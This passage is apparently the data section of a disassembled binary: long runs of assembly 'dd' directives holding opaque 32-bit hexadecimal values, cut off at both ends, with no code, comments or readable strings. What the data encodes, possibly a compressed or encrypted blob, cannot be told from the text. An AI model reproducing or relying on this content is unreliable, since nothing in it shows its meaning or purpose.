0D3F8695Eh, 80237070h dd 0E2DE5E0Fh, 3F482209h, 0AD895CD2h, 0F2D9B653h, 0B5AE806Bh dd 6E253A9Ah, 0A4EB735Ah, 445F3CFDh, 0B9023DBFh, 0B501C4A1h dd 6A804FFEh, 0B853F9B3h, 0FD265C9Fh, 1B581776h, 0F812131Dh dd 0FA8B8437h, 0B889FB9h, 0D0499D42h, 0B7B070BFh, 270035C4h dd 48CE9F91h, 0D3F14Ch, 1FCCE47Ah, 676AFE42h, 5B94A448h dd 2E5B71B4h, 8FD170E6h, 6DA68951h, 0F2971B16h, 2D9D20ADh dd 0C9C4A695h, 3060626Bh, 0BA000E1Dh, 25BEBC38h, 0C796107h dd 731BFD09h, 317726CCh, 3B2FCD1Ah, 83A5E8C9h, 0F381C060h dd 1C8DF91Ch, 66C82B4Ch, 8B104061h, 94A2D14Ah, 0A8DA9200h dd 5FFC38FFh, 921AE925h, 40DBD16Bh, 0A61F500Ch, 0F162DF00h dd 14099169h, 499A33DAh, 0EB8C8598h, 2501F921h, 0A095262Eh dd 120CFF6Eh, 840B8CE4h, 34DB511h, 46B73A22h, 25969859h dd 0C7B1AB1h, 0B660C43Fh, 45E138D3h, 40A58361h, 0BB66FE1Eh dd 95B71050h, 0E1B551A8h, 648A134Bh, 40E85F10h, 1C9271DDh dd 0D900799Dh, 1173619h dd 0FC9C2E2Ch, 982B5CA1h, 2BE29DD8h, 0CF0A8988h, 38ABDF5h dd 0ADFC1274h, 7042B88Eh, 289701DBh, 3453160h, 228340FCh dd 6BE1B872h, 0A4406577h, 0CBC83Ah, 0D2562B9Ch, 0FC5F3EB7h dd 0B5B9A04h, 30FDBA6Bh, 449ED9F8h, 0FEADFCC4h, 8C1DFCh dd 8AE67B9Bh, 0B99C4123h, 1253505h, 1090C5BDh, 0B646ABBh dd 880D5827h, 0AF6837Eh, 1ABE8BA1h, 2EB508D6h, 5189291Dh dd 0E99A5C0Ch, 81602EFEh, 25CC73DBh, 11C656A6h, 6C408A9Eh dd 12180E15h, 0FF4E315Bh, 2FABF634h, 59A64F5Ch, 0AFB719A0h dd 55210BFh, 3F3B001Ah, 8AF35E6Fh, 2E05070Eh, 263D8D89h dd 9D9342BBh, 1C57207Dh, 30484544h, 0CC9CFAC9h, 5CE93E09h dd 0DDB5611Dh, 0E64F0E2Eh, 0B5BAA089h, 0B175382Ah, 2D15A8E2h dd 80E1FF02h, 4E2982BAh, 0E194950Bh, 9D3E6342h, 6BE624A1h dd 0C837B727h, 2FB26A00h, 27B8EF92h, 7F647240h, 0D1F01000h dd 2004BDBBh, 835B0412h, 0A2DD1685h, 328B00ACh, 37F00658h dd 720177Fh, 2049B880h, 975F7129h, 0DC432D14h, 0C5B0D556h dd 2004AEFBh, 86646E9Ch, 48D304BCh, 6017177Dh, 0DAB833E9h dd 8F6B4C09h, 0CB9A5D9Eh, 10275456h, 706948h, 0B96FF06Eh dd 8AFCEF96h, 79FA1100h, 0C38D6D53h, 85F94BACh, 1D280443h dd 22B41221h, 4A7B977Dh, 52692DD8h, 414C7DC5h, 0F7157917h dd 0BCFA59F7h, 0C4B707F8h, 90BA36A7h, 8B5D6064h, 6C8CDE4Bh dd 12BB7550h, 8555591Bh, 4C6EFE02h, 0F132605h, 9885C8Ch dd 68ED6AF8h, 73B0B5E7h, 16F52D3Ah, 306D64EBh, 0E3F1FC22h dd 0FE55FD00h, 0B41A749Bh, 5C570293h, 0FF4D796Ch, 9131457h dd 61595360h, 2A71708Dh, 113688h, 487115B1h, 5F8C09B9h dd 52B68B50h, 0DD4B65B0h, 0E8FD1216h, 0A25BB943h, 528300F6h dd 0D81CABB4h, 94C3BF73h, 996D3C1Dh, 73585F49h, 26CD7027h dd 6E4CEF02h, 0C9908114h, 0B30115DBh, 87742A1Ch, 0B2A07FF6h dd 0E1258589h, 0FB642417h, 72D8ACB8h, 0E9802EC5h, 44015A6Eh dd 908B5C9h, 0AC7271F5h, 242508C8h, 95766C25h, 0FF5B6EA9h dd 98626A78h, 700E09F1h, 6B734631h, 4AB5A5h, 26F7CBD1h dd 9D16BB71h, 95ED89FCh, 180F67BCh, 0C2D2258Ah, 0C1B3D712h dd 9F41F94Ah, 0E6230A65h, 0A0A3B692h, 176315DBh, 885CCCD3h dd 0AC006927h, 0BEC1CFFh, 558D314Ah, 42BCD85h, 0FB950182h dd 0D6967249h, 0AAB3629Fh, 0F1DF8841h, 7DA13A2Bh, 0C882762Bh dd 8E68F80Fh, 0D0428976h, 75711D00h, 2ACDE5E0h, 0C6576DC0h dd 7DC125D3h, 0EE001F44h, 0EC2813ADh, 622717h, 0A6F8B429h dd 0E780B952h, 678CFD4Bh, 6D64BF89h, 0C00E904Bh, 20EAB250h dd 4339B56Bh, 7F84B04h, 96987AE8h, 8FC1B760h, 0B529002Ch dd 712592BDh, 7837B361h, 8120DB3h, 8F04EA2Ah, 2B83151h dd 0A33CA8F4h, 801B0238h, 4BE925CFh, 610DEF75h, 303A2CEFh dd 94122594h, 0CB044220h, 4A141675h, 0AC1D4D12h, 0A292EE92h dd 9F8288F4h, 2A57B29h, 6FC45259h, 0ABD43052h, 6096DA2h dd 18F032F3h, 1D563116h, 94737C8h, 0DD7A816h, 6F2E4FB7h dd 4B250434h, 0F2AC1AAAh, 0EF0A04D3h, 0D820AC0Bh, 821489C4h dd 0D468DA54h, 8202DD08h, 3489CBB3h, 4D784FDBh, 21D52D87h dd 45B3FB10h, 0A0857D02h, 55FCAE5Fh, 0C9800361h, 946B2A5Ch dd 74011B23h, 8875EB84h, 0B73617C8h, 0C6BFB760h, 2F6C3212h dd 0A65AADB3h, 110AE03Eh, 8F8A017Ah, 403A6CC7h, 7EAC59E4h dd 0BA03A86Eh, 0FFE48BD7h, 0D6C8ACECh, 0A081E19Bh, 61852937h dd 808B2A2Dh, 0A0B7B64Bh, 174DE98h, 89AC8B9Fh, 62325D95h dd 1AD827DDh, 4C15709h, 84D92A29h, 0AC6A6Ah, 4F5CA8F1h dd 18D59E60h, 5C1DE7A2h, 0D5C203ADh, 5C1B1585h, 25CD4924h dd 0AB1FEBC0h, 6EDCFB19h, 3E2958D1h, 33C6FB25h, 8E7026BBh dd 0EFC10755h, 9280EBB1h, 5BE06089h, 29B539BDh, 965E59BCh dd 4EBFB253h, 7950ADE2h, 887D5F8Dh, 9D12014Dh, 4CB703FDh dd 3D2E214Ah, 334B20D7h, 0E447A0Fh, 0A694A099h, 9ED61F6h dd 60D337F4h, 0B5C2D4F6h, 50E1A049h, 49A3BF66h, 0F12FD35h dd 25D5B38Ch, 54B551FFh, 38E985E2h, 0E73380CBh, 2373C84h dd 0E1EFB1ABh, 84DDD3B6h, 0B3521859h, 34375F55h, 41EE8554h dd 0E38A60BBh, 7A2AAC8Bh, 42E26192h, 60B12C88h, 96023011h dd 0D2287761h, 71DCBDD6h, 0BB010963h, 0E56200Dh, 251446D6h dd 9531CE8Bh, 0A240326Dh, 12F9D11Eh, 0ACE6C2A9h, 0D100AA58h dd 0EB15F3BFh, 7A880DE9h, 0A1DF003Bh, 0D892AEDDh, 0EE127599h dd 60E27F51h, 0DDE31107h, 0A9AFF0A8h, 0B946DCE8h, 0E409A65Fh dd 0CCD394ABh, 3101F5A7h, 0AB4947C0h, 282EFC93h, 0EF979276h dd 0BF5364DDh, 0EC7E4C8h, 0ADE4A1F4h, 7C662360h, 644F0560h dd 24ACFD16h, 83C65B25h, 1FDC44BCh, 37DCA1Bh, 134EB9F7h dd 0F1BD0BC8h, 622501B4h, 0DC057497h, 0B99EC4Ch, 7A4D9DA9h dd 12CA941Bh, 0F0BDAC32h, 436D781h, 0E9634CCBh, 4355B892h dd 3AAF51C1h, 12FAD2A4h, 0E7C18B7Dh, 0AC225943h, 2510757Fh dd 0EF5290D3h, 3418BB1Dh, 0EDAD131Eh, 0AF53C5D2h, 2A05EB53h dd 50131631h, 99190DF8h, 0E16DBAB3h, 0BC833D48h, 0FFAF003Eh dd 0F4D25539h, 701F3542h, 2A408156h, 5B19F55Dh, 0F59D5F23h dd 11AD30E3h, 5B711BFh, 0E4F21F36h, 2FDF4442h, 0AF8133F6h dd 0DB6F2404h, 0B0A08066h, 97705426h, 0D725826Ch, 5DA5904Fh dd 9670045h, 8DCECA12h, 6042F26h, 6AF6FBADh, 0C0779BAAh dd 4EE63791h, 0D05EBB6Ah, 0FB0AD90Fh, 8C135B02h, 53A57B2Eh dd 39EDA5F9h, 0A3636540h, 4B8C9266h, 69589D76h, 60A8A7h dd 0AA1ACAA6h, 0BB05BF13h, 21092198h, 0F6D1FF66h, 1803DC3Dh dd 2A8C72A6h, 0DD69C066h, 7D1497E6h, 0FC32A369h, 5D03DEE1h dd 0B1E6402Ch, 0F0B29D5Ch, 7F0226h, 0FDAE0E53h, 302CB172h dd 5B65BB8Bh, 72D67C1h, 3F026A01h, 0EE80A0DBh, 31755FCDh dd 90389195h, 0B6803B2Ch, 4181C7AAh, 0B95A520Fh, 24D5298Bh dd 6EAB908Dh, 0A2E25BE4h, 3ED4D94Ah, 71DE6709h, 6677C2D4h dd 0CB790Bh, 319673E0h, 3EBB7623h, 0DB64178h, 934CE2F3h dd 0DA752BD2h, 0DD805EDAh, 0EE305AB3h, 9E116604h, 0CA09014h dd 0BDC598A7h, 40F23E1h, 0A25D9B8h, 97D26EFFh, 530F8690h dd 45392B7Eh, 111B80C1h, 72683879h, 583F020Eh, 0D98B808Dh dd 5ACCB35Ch, 0E2024A69h, 509AD34Eh, 1942B080h, 8C00DCEDh dd 6AB29BECh, 5CDF80FFh, 0D128F53h, 0E9B5ED0Ch, 0A63F402Eh dd 7923C2D4h, 0CD988A4Bh, 3131C4E6h, 0AD93EAB5h, 3DBB80B0h dd 36ED2451h, 9DC8278Dh, 0B8A070E6h, 5490F452h, 0C16D9D25h dd 872B5F10h, 0B9F9E485h, 98B822B9h, 2C012D27h, 331EBE71h dd 7302BD49h, 992DBDB2h, 0C12F5072h, 4B9B7AFCh, 5E07A231h dd 1BB9CE4h, 6DD44248h, 3151C82Bh, 2548DBA3h, 459D0C69h dd 7FD14D0Dh, 0FB93F29h, 98173C9h, 9704199Dh, 0C1AD8527h dd 2A0CE14Bh, 7DB537D0h, 6AC98C2Fh, 6E375C1Ah, 0BB660151h dd 39E9263Eh, 89FD7F52h, 16935D45h, 0AB5CD8B2h, 7A592244h dd 40A5F1DFh, 0BD89FE14h, 0C72D712Ch, 0FC145348h, 154B7DC1h dd 0F30FA88Ah, 6F7247F4h, 0B7067BDEh, 0AFCF73A7h, 19A132EEh dd 0E65F9DB5h, 658EC4A7h, 874AE20h, 25BDA083h, 0B4CB0FB3h dd 4530C86h, 0A0380295h, 408C2B9h, 49788401h, 0C570FCE1h dd 2DC5D9Ch, 4EAFC768h dd 5840E069h, 0FC4E3EE6h, 2B08C8AFh, 0D8E6C04Eh, 4FEF7FE0h dd 84F0BD0Dh, 31CCC667h, 5D25D2Bh, 6206AFBCh, 45B2B821h dd 9034F4ACh, 0BA195557h, 3AD93D2Bh, 447E79B3h, 3300300Ah dd 5C448089h, 5EF72B8Bh, 58F3A386h, 5B1B4096h, 176059ADh dd 5F0ED2h, 82BBFE4Ch, 0D013562h, 0DEB2884Ah, 0B897AD92h dd 0B78D3A99h, 5973DE2Dh, 16D35AFh, 0E6297440h, 38C9D918h dd 77D58001h, 4252633h, 5968A5A6h, 0ADF9B84Ch, 0D226272Bh dd 0E1F1CDE4h, 0D55D2980h, 48D98A6Fh, 5912FD5Fh, 8BD9E315h dd 0D9725BBEh, 7A73F406h, 0A218400h, 0BD299175h, 4E1E5BB5h dd 0A2F3A7AEh, 0F1B2C03Bh, 0AE4B59h, 0A681D230h, 10C2FB99h dd 25822A3Ah, 9B0FEE91h, 7B35583Ch, 778B8800h, 0A4B60819h dd 603DBC61h, 8BED8EF2h, 4DD7DA2Ah, 17B30803h, 886D3354h dd 16788F7h, 23E7A812h, 0C8B55B0Ch, 0B797E1FFh, 21DF0059h dd 0B84EFC13h, 8E3A90A0h, 384F9497h, 0DB5B0442h, 587BC0B8h dd 0FC734ED9h, 9C94B1Dh, 72790D79h, 0FC4927C4h, 0E3442779h dd 807DDA35h, 35BD32EEh, 0ADCF08C1h, 988010E8h, 0FBFA2B50h dd 8BD41695h, 0C2E500C3h, 67242D03h, 0D9605B24h, 863005DEh dd 81E091CEh, 2B29A50Ah, 6A2E8499h, 838C0389h, 0E0A6E3C4h dd 2C31696Eh, 89BB2185h, 0F0C9870Fh, 0F5906057h, 0B29D6BF7h dd 82159A2Fh, 5D8F0F1Fh, 2BF1A66h, 5E028963h, 0FAE96574h dd 98020D7Bh, 0D98B6151h, 0A4E63355h, 3421C643h, 0A225DA90h dd 0C943D712h, 605052F6h, 5BCE2FE6h, 8C70CEF8h, 246C18Ah dd 6B5A5111h, 0BCC2E451h, 8B070121h, 6AD79334h, 35C73FF6h dd 6FB75759h, 0CE010A96h, 3209F930h, 0A0B1122Eh, 0FA37CFA3h dd 0C48E1416h, 52ACD7CCh, 19CB81DEh, 2E6809E5h, 9587C937h dd 0CE481EB4h, 4539BF87h, 50BC16B5h, 478A2280h, 0C01BDF3h dd 69F59ADh, 97E0349Dh, 951104FFh, 0B8864EE2h, 0AABD96E0h dd 0D071BBCh, 0A84D1880h, 959CFD11h, 0E6FF352Eh, 0BCD5E009h dd 3EC70E41h, 2305E76Fh, 0DAC70951h, 0CD4A0DF0h, 0EE3A69C9h dd 0A2AD6D12h, 8C1CACh, 32A5360h, 3DD78C95h, 5560F662h dd 0A638571Ah, 0AE7E6CBBh, 8E5F6D98h, 8A211AA2h, 0C5B53104h dd 0BF60894Fh, 2BD1B624h, 92D954CEh, 0B3120DF7h, 3DDCE1FDh dd 2AF84AB2h, 685834C0h, 4C040292h, 2AB35E33h, 0F60A52FFh dd 0E096E300h, 49824EEFh, 0CC4A4ED1h, 9D3289FFh, 0E168EFF1h dd 0C53A98F9h, 0CE614204h, 0CDD78728h, 809CE42Ch, 0D77EE37Dh dd 0A1405096h, 25EE6A7Fh, 0F9C4F9B8h, 0E0BC4D9Fh, 13B5BF28h dd 9A653526h, 50CF9918h, 14C24DB3h, 8021DB5Fh, 0A061D3E6h dd 5C90091Bh, 0DF32DF8Bh, 6DD21B50h, 2966FBFh, 8C7435AEh dd 0A7F7D164h, 2C5C4442h, 13FD45Ah, 0C9BD092Ah, 8B382E1Dh dd 8000E130h, 0E9388DCFh, 5F7A5E43h, 406EAE1Dh, 3AD65245h dd 7C4F9132h, 2EB8C8C4h, 296081EBh, 25341D9Dh, 20C69052h dd 5E271915h, 0DC025C61h, 11377200h, 0FF4659Dh, 61949750h dd 4203C45h, 0D609537Dh, 2A2729CDh, 7A62F38h, 0C003E7C8h dd 142160D9h, 470031F2h, 869A29E0h, 97AFC950h, 0ED7D409Ah dd 2B7BC0CFh, 0CA021387h, 2C0AAE45h, 1AB5E103h, 5F86CB2Ah dd 0A905216Ah, 2D2DF96h, 1E7D9DBFh, 87BC5B04h, 0BCE7C5D3h dd 0E82273E4h, 0D0CF1F13h, 0A841804Bh, 94B863CCh, 8D923500h dd 91851442h, 5FE438EDh, 0FD310F93h, 86569E7Dh, 0A6A0B6A8h dd 0DE004D1Eh, 16B3D917h, 705D6D23h, 0F6A0F671h, 0AC27F6BBh dd 2BD5E9C9h, 820A4860h, 17198475h, 7E64610Bh, 24832C04h dd 3980F9EDh, 25CD04C8h, 86E6618Dh, 9CDEF09Dh, 0D2532D2Fh dd 9B181959h, 48662705h, 0AE09CB14h, 720BA911h, 0F488BE6Dh dd 603D7100h, 0CAC985FCh, 88745E53h, 0D2009B6Ch, 0FEEE580Ah dd 37387Eh, 5F640DB7h, 0DC1A8CC2h, 0A9268CD3h, 0C4862D6Ah dd 0BD6095CFh, 0B7C65EB8h, 0DABF8930h, 8297F9F2h, 0D78D297Fh dd 50312944h, 30198620h, 0D333B904h, 6000086Bh, 586CAD71h dd 66090EB0h, 79DCFEBFh, 0F493262Ch, 0A388E75Eh, 0CCCE09DBh dd 39843C9h, 3700B3A8h, 36965EC8h, 4E94DBh, 0B1639380h dd 7EF057B7h, 7E5F3A34h, 9483F6C0h, 6125EF52h, 50E0FB67h dd 5B00422Ah, 0EC1EF753h, 9BBB9ADh, 27F0040Ah, 46D645FCh dd 0CDFF0F19h, 102684E6h, 8138D0EAh, 5D0068EBh, 0FA4ABF96h dd 0EF501F8Dh, 1456E3Fh, 0F8E7D7A6h, 7E71BAE3h, 5AB38A18h dd 0C5E1E9A3h, 2DAE3075h, 0A89B2D08h, 2DA401B2h, 68E7872Fh dd 8E292F8Bh, 6680F53Bh, 5734F27Ch, 0F3C1E300h, 0FF8A7DABh dd 7C00A135h, 51D0956Fh, 0EC310969h, 1D379FCEh, 0AE821611h dd 0AD5EB83Fh, 0C560726Ah, 15D0A74Eh, 365BF5D3h, 258C15A8h dd 73E62C33h, 2FC6C19Dh, 38BBCE6Ah, 4AA94B3Eh, 0E1053AE8h dd 0FB20231Bh, 31910981h, 89850900h, 0E2B7255Ah, 0DDA8C6Fh dd 8A09225Ch, 7A675CDCh, 7552B5F3h, 0E9C85Eh, 0E9CA464Ch dd 1B8A9742h, 2312DE30h, 4CD28D0Fh, 0D0895D57h, 8B5BB681h dd 0F02B66C1h, 559C7B2h, 8FA362D1h, 7E52ABC6h, 95E5EE3h dd 0E9549054h, 8E0AE808h, 45407DE5h, 0FDDA093Fh, 5E59C605h dd 0E0B826B5h, 0A4905025h, 10020975h, 0C5C671EBh, 2700F55Bh dd 90FE8B50h, 3971095h, 0C732616h, 0E524000Eh, 0BFADC246h dd 66C33F02h, 5E8DB49Ch, 8ADB8756h, 0B7577BD8h, 386D8014h dd 0FC835ABCh, 763BF0C1h, 0CD6A0648h, 0C57F5AFDh, 75BC7B62h dd 896E809Dh, 75DF2FF5h, 4DA2544Fh, 19229C00h, 6993060Dh dd 0B3D0331Fh, 0F55B5FC0h, 5E890F50h, 278EE30Eh, 31BF908Bh dd 0B2614A60h, 0CFC84B9Dh, 98E500FEh, 0A6DDA9AAh, 8D1273EDh dd 4301CC79h, 6A5B3371h, 0F070F63Fh, 1463ED96h, 0D9F860ABh dd 0DD0CCDC0h, 0EFA3E6Bh, 503F5600h, 0D4675A68h, 8CD2015Dh dd 0B753618Ah, 0DE7FA079h, 0E59AC312h, 310944F3h, 66F0C585h dd 0F20DC6BDh, 1AD125BDh, 0C8A68B73h, 9F00F46Ah, 14E2AB72h dd 3FB600E5h, 0C542E470h, 0CC2EA2D8h, 0D113FA1Dh, 96F23816h dd 22058A4Bh, 40BFB66Ch, 9DE3516Ah, 82FB4F3Dh, 0AFB3802Eh dd 8B55C1DAh, 0D870BB3Ah, 174AF79Fh, 0F05FCCE3h, 1A970F23h dd 5117D3F0h, 7ACFF0B7h, 26094316h, 0BAA8CB81h, 64E8FD55h dd 0B9BD09C1h, 0A09D2B30h, 3C1E9650h, 8E4F4BE9h, 764510CEh dd 894B5E60h, 6AB59501h, 0FC35D51Ch, 12801A91h, 671BA56Bh dd 892D0F02h, 7733959Dh, 85C101D4h, 43F4080Eh, 2A3B0387h dd 0C923921Bh, 0D8CF46D0h, 97EDF3D3h, 0BC07C4B8h, 630E6EA6h dd 56B21A91h, 85C5EC84h, 0D2DEB85Fh, 0F802277Ah, 115ABAD0h dd 0FB2FE55Ch, 0A6C1F045h, 0DB625905h, 0C5C57DE0h, 0A0398AAFh dd 2716A58h, 4733C637h, 5A7AB589h, 7295B77Ah, 7AD2199h dd 7D08DD09h, 9B00973Dh, 0F4883E76h, 0E1B412A0h, 0ADFAC80Dh dd 73780900h, 0CFF3992Eh, 0C349002Fh, 54AC3008h, 12C88B6h dd 592DD585h, 222C4493h, 0AEF804DAh, 0BA24D45Eh, 2524AD08h dd 2A8A16C1h, 0B0D3E2F2h, 2FE13A76h, 5601244Dh, 1358A76Fh dd 3288759Dh, 0C9184B15h, 41F76030h, 3B980307h, 2ECABA5Fh dd 7AA9DF85h, 0F3A442BBh, 345EF6ACh, 577BB01h, 52F101Eh dd 81B86031h, 9F7E25A0h, 0EA89E92Ch, 0BCEF5C61h, 2D3907A1h dd 0BDC11F9h, 1523D743h, 0D7A9851Fh, 772AAC4Fh, 0E3788225h dd 0C1C82D2Fh, 0F6A76671h dd 254026EDh, 18E1A656h, 13E0A65Eh, 1AF100F5h, 8506D78Fh dd 9056EFBh, 0BD0B5BBBh, 6162D3AAh, 8628AE8Dh, 1A21228Dh dd 2DA65553h, 0DDC0A9B1h, 8C0F1110h, 55520A9Eh, 1C27559Ch dd 0A5235698h, 24456BC4h, 1F929420h, 0D47E3FCBh, 814B31A5h dd 916196Eh, 8D2E9509h, 6D612E8Bh, 7A6BFFD2h, 6AE01662h dd 129E6FFBh, 0D521D680h, 302FD88Bh, 5FF95379h, 76FB913h dd 0AEE899F9h, 5E014A7Ch, 0B42AEA3Ah, 902B8D09h, 0B50B60A6h dd 1F97F94Eh, 0DC249962h, 0FCE18A27h, 1E0211B9h, 926BBAB3h dd 4BF6D78h, 6753D14Dh, 5A3FBBB8h, 90001823h, 389DA2BBh dd 8B25A0BAh, 0CF7395FEh, 0EE1818F9h, 6FD8681Dh, 0F6816080h dd 4B22EB09h, 4E73E677h, 8C5186BCh, 253682EDh, 0B9224916h dd 5A099254h, 77A2E6FEh, 48949766h, 5D0359Fh, 0ACCA4EFEh dd 0A0848E50h, 5E7F353Bh, 0CA9E4B83h, 3B19D342h, 601221C4h dd 0D74B7554h, 54A4E918h, 316BAE1Eh, 38658983h, 690EC844h dd 95292DA0h, 61927DDEh, 778850F2h, 0C7027DA4h, 5FB8C47Ch dd 9F1C603Fh, 7E3408C0h, 4BE81696h, 6335CDA3h, 0DA9100EDh dd 0C57CE175h, 6B560352h, 1F769AB9h, 5B08A00h, 0FF5F348Eh dd 0DC399EE1h, 0A8D79100h, 0BCDC7DF2h, 740CB21Eh, 99497ACh dd 7E5C9A69h, 0D75ADE5Ch, 4BF96BE0h, 3303CE18h, 0A9315385h dd 243F25F9h, 0A30BB8D8h, 84DEA539h, 53A938C0h, 0F0B598DDh dd 9F79D2Fh, 0BDD35883h, 0CFC242EDh, 2EB95CE3h, 791740FBh dd 72005916h, 0B6D1C595h, 1401E43h, 1D602458h, 2E7F4E2Dh dd 80D2A648h, 3259D781h, 8F916A98h, 72580BDh, 536E654Fh dd 109A9518h, 0D12DE394h, 6B54710Ch, 0D6495ACDh, 0A368C55Ah dd 8D29047Eh, 0FD162645h, 0FA8B134Bh, 13405D52h, 2AE9685Bh dd 0BF1C021Eh, 54463E50h, 16071456h, 0DEC80129h, 0AD8D984Ah dd 4180FE6Ch, 9D328EF1h, 0FF84C800h, 65FD33E4h, 0E160214h dd 203A4CDBh, 0F1B52EE0h, 12511940h, 0E35B615Fh, 0BB6602A9h dd 0F7E9157Bh, 1E5EB3CBh, 0CD4AFFADh, 800F288Fh, 0CF9D635Fh dd 90C800A9h, 0DFEC5043h, 0A314D368h, 12CEAC8Eh, 84B92E8Dh dd 0F92C96D0h, 0DA09CF5Bh, 0EE9D5B70h, 0EF3A0038h, 84ACC090h dd 0E225E6E3h, 8040C681h, 812419CBh, 8DCC6A89h, 2D0B0045h dd 71578E3Ch, 44003E9Ah, 58FDCC82h, 25E797BBh, 635E1B4Ah dd 0B1646D6h, 5CD91067h, 891C1864h, 379D0446h, 0B5270512h dd 0DDEC295h, 30A25024h, 41017E5Ch, 805F0B05h, 7E50E5D7h dd 0D2B75D20h, 44B000EEh, 8220D48Ch, 565F6A10h, 0CCA14C20h dd 2F500AAh, 0F787BF85h, 0FD016642h, 2DF9DDFAh, 2AF5FF2h dd 84580F89h, 0F63DB4h, 68F509D5h, 5611A16Bh, 8C6A9B9Eh dd 0EA29487h, 0A57471D9h, 6A829AF9h, 999ACE3h, 0D40E4AA0h dd 52E45150h, 4E871FB1h, 62B07BFCh, 237D923h, 8A4AAC1Eh dd 245D5BFFh, 0DE1ADA5Eh, 0E780DF81h, 0CADA6B9Fh, 7EC019C8h dd 2BC6FCDh, 296101A3h, 6756A5BDh, 3F1C6E24h, 55475649h dd 0E893339Eh, 16628358h, 1D63DFADh, 4D542518h, 0E316845Bh dd 31E9186Fh, 2FBF6617h, 9DC407E1h, 0C5E4B5h, 3EDCF751h dd 90A6D696h, 74B267B5h, 77624EADh, 27705949h, 8BA9EF7Fh dd 28748D31h, 0D025732Dh, 0DB1265AAh, 88E29DFDh, 0E8A10D88h dd 5B651F6Eh, 6CF7D098h, 8BE18A09h, 0BFA9D07Eh, 8A40C015h dd 59FB698Bh, 0F8257D72h, 1D64B2CDh, 536DB160h, 890B0101h dd 0EEFDF228h, 5AF26121h, 4125EC7Eh, 2D62411Ch, 10342E2Fh dd 98AC6CC4h, 0A26A00D3h, 0CFBF9630h, 72F1430Eh, 894FC150h dd 0C2F20EE1h, 8B287772h, 1746DC8Ah, 7B3F804h, 0EC75AE7Dh dd 0A0A75AE6h, 7F229248h, 0A2752506h, 20FE60C7h, 0E79810A1h dd 558231E2h, 0E7236445h, 16908D58h, 0FE387CDEh, 552B3209h dd 0F94B6194h, 0BB75284h, 78F528B0h, 76B0CF5Fh, 0B2D74BF7h dd 45E200E2h, 0A33CB076h, 0E3CE9581h, 0A0224D21h, 4DA95180h dd 9508A1FCh, 1944BECDh, 0B3B0D360h, 6F29DF16h, 6099EBADh dd 0B8861120h, 40EC236Dh, 0EEE5FC1Fh, 0B768AACAh, 0EA15A93Dh dd 13103909h, 578251Bh, 0A9BDD848h, 0E0B21E5Ah, 0D78069B8h dd 0A20E4F7Eh, 46CA0038h, 7DB9779h, 0C0F70015h, 0FDBB11CDh dd 3A97A6BDh, 5197FB65h, 70D861F2h, 5B6BF895h, 0B6000A30h dd 0A74A0CDEh, 7FCB1A6Ch, 178CC656h, 63125751h, 9F5A2AAAh dd 5FA26053h, 3611CE00h, 0F71ED07Ch, 2C500300h, 599D89A5h dd 0F1C79509h, 7BBA3692h, 7D7F0CF6h, 4DBE887h, 0F960A05h dd 0D3CBAF86h, 5B570476h, 0AA12B796h, 2221E3CAh, 5D386A25h dd 8B407115h, 9D0DAAAh, 6344252Ch, 19855A03h, 0D9ADEFB4h dd 4B6BD2h, 3678D6E0h, 1203FC05h, 0E328E5BDh, 9B538859h dd 0B99CEA29h, 0A688D632h, 3753009Bh, 4023FB68h, 120185F7h dd 0E67FCD8Eh, 0E07A1486h, 6600D1C6h, 61B825B9h, 97DC8A5Fh dd 98774D0Bh, 1C03781h, 5F0C470Dh, 0E58BC87Ah, 0DD252E30h dd 30C04F3h, 61B35585h, 956E1697h, 9A82CC10h, 57C02105h dd 0A9044943h, 5F022C5Dh, 595CF2E9h, 708F732Dh, 3F00B884h dd 0F7BEDE42h, 0B88BFCA3h, 264480BAh, 0E9770B5Bh, 3FF0D1F9h dd 775FB5CBh, 0CAFFB0BAh, 61979005h, 0CF8C5C94h, 3547AC00h dd 0A2E2E1E3h, 6853BE00h, 5A2A1807h, 0F464BD21h, 0EFF54900h dd 0B75FFFE5h, 0F15ECA5h, 7254988Fh, 47F350Fh, 0BA60F990h dd 8509B031h, 9DEFF144h, 4936528h, 84A09546h, 81598C17h dd 9543F70Fh, 32CE79ACh, 363848C9h, 0A10FABC0h, 1F04436Dh dd 49BFA773h, 44B3CB8h, 1302ADA0h, 78EF5A30h, 0B27A0269h dd 9061E81Fh, 95E27A0h, 9700CFCBh, 0A6A9A5A1h, 0F2B75031h dd 0B1AEA190h, 0B84AF633h, 30AFD04Eh, 0EB8016F8h, 0DCE9587h dd 0D46B9Ch, 4D8AB014h, 95988612h, 0FA099EB8h, 0D5DA8B5Ah dd 1C9159B5h, 0E72FA96h, 0BD04FD91h, 1FF0924h, 2A6D8525h dd 602CEF3Bh, 0A94CD672h, 0A06EBCEBh, 801B0DF4h, 5167B509h dd 756B295Fh, 26A6022h, 0D7E059EDh, 4C187F9h, 0B350F529h dd 6E1EE1ABh, 90095805h, 0E34C8D99h, 264F02F2h, 881C7B99h dd 0E02829F4h, 96950B76h, 473C48F7h, 4E2C6F4Ah, 0DB5B00F3h dd 0C0D487E4h, 0F565FC11h, 0E92F742Eh, 8D3EA902h, 82AA5h dd 0C8501317h, 6300AE45h, 108AF5A2h, 6178C522h, 0AB2D20BFh dd 2E90CD97h, 7B5BCAF5h, 14AF00D3h, 90990DAAh, 298A4A4Bh dd 80C79A5Bh, 0BF1A0160h, 56450982h, 30577D84h, 0BFDE8BE3h dd 2105161h, 0DC3D5C61h, 0E8091646h, 95555CFDh, 0E2204488h dd 0DD650177h, 0C5F36FCAh, 9FC4CCh, 0E08E8FDBh, 752FEBF6h dd 1D39DCA0h, 0F9FF71C5h, 0D5518C1h, 0A044B73Eh, 74A1A4h dd 0E7815BD8h, 593C78A9h, 2A263197h, 2925BD08h, 94F7A10Eh dd 0CC6FB010h, 3D0074E8h, 21B46085h, 95EDF65Ah, 8BBCCD5Ah dd 80AFF940h, 5F09006Ah, 0C59948D1h, 570078ADh, 0A032C32Bh dd 97D42942h, 39EB3A26h, 8680E491h, 62D0F029h, 53AE09ACh dd 37704158h, 8B6BBB01h, 0BD2979FCh, 9D2B24EDh, 25CC6F6Ch dd 3BDEC63h, 14B1AE7Ah, 56887C82h, 4116726Dh, 0C5120EDDh dd 0F7F045AAh, 0A98012E2h, 0C82B16BAh, 0D1B56087h, 0DCCD86C3h dd 0F86A67AEh, 8D841610h, 0BC98FA20h, 7570F3h, 0F24038A1h dd 3AA24645h, 645E2600h, 0B2E598B6h, 82B44BD0h, 0DB610151h dd 0B9E171Ah, 25274431h dd 33C9D88Bh, 7085081Bh, 4C51811Dh, 783F3AD4h, 0E377018Ah dd 5B7BEF2Bh, 5C4036FDh, 8933D18Dh, 398A6BD9h, 